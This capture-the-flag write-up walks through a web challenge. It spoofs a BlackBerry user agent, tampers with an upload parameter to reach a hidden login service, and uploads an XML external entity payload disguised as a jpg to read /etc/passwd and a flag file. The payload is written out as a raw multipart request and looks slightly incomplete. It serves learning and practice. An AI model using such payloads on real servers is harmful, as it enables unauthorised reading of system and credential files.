# That's what server WRITEUP

Browsing on http://gamebox1.reply.it/20a78c1c603fec671d4f328203b20289/ a page with a berry and a title referring to robots appeared. So we went to */robots.txt* and another page with another image was loaded, reading the HTML source we discovered that the name of the image was *user_agent_text*, so we tried to insert the Blackberry user agent and the true *robots.txt* was loaded.

```
Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+
(KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+
```

The content of *robots.txt* was as follows.

```
User-agent: *
Disallow: /cfd82bcb40eef62d2801aaeb74558f9a9f6a7c35/file_upload.php
```

At this point we opened *file_upload.php* and we uploaded a jpg file, the server responded with the full path where the application resided: `/var/www/chall300_web/` . Then we uploaded a file that was not allowed, like php, and the server output responded with an error referring to the file *authorized.xml* and a */services* API endpoint.

Intercepting the upload process with Burp we noticed that there was a *req* parameter containing `/cfd82bcb40eef62d2801aaeb74558f9a9f6a7c35/file_upload` that seemed an upload endpoint. Changing it with */services* another error occurred:

```
Invalid service. Service allowed: perform_login
```

So we tried again with */services/perform_login* and we got an "XML error" message. So we repeated the same step but we uploaded an XML with jpg extension:

```
-----------------------------520832645773004556899637l1
Content-Disposition: form-data; name="fileToUpload"; filename="img.jpg"
Content-Type: image/jpeg
```

```
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>

-----------------------------52083264577300455689963711
Content-Disposition: form-data; name="req"

/services/perform_login
-----------------------------52083264577300455689963711
Content-Disposition: form-data; name="submit"

POST
-----------------------------52083264577300455689963711--
```

The server responded with the */etc/passwd* file. Finally we tried to read the *authorized.xml* in */var/www/chall300_web/* and we got the flag: `{FLG:jU57d0iT_4nD_n3vEr_Vv4iT_4_5Y5aDm1n}`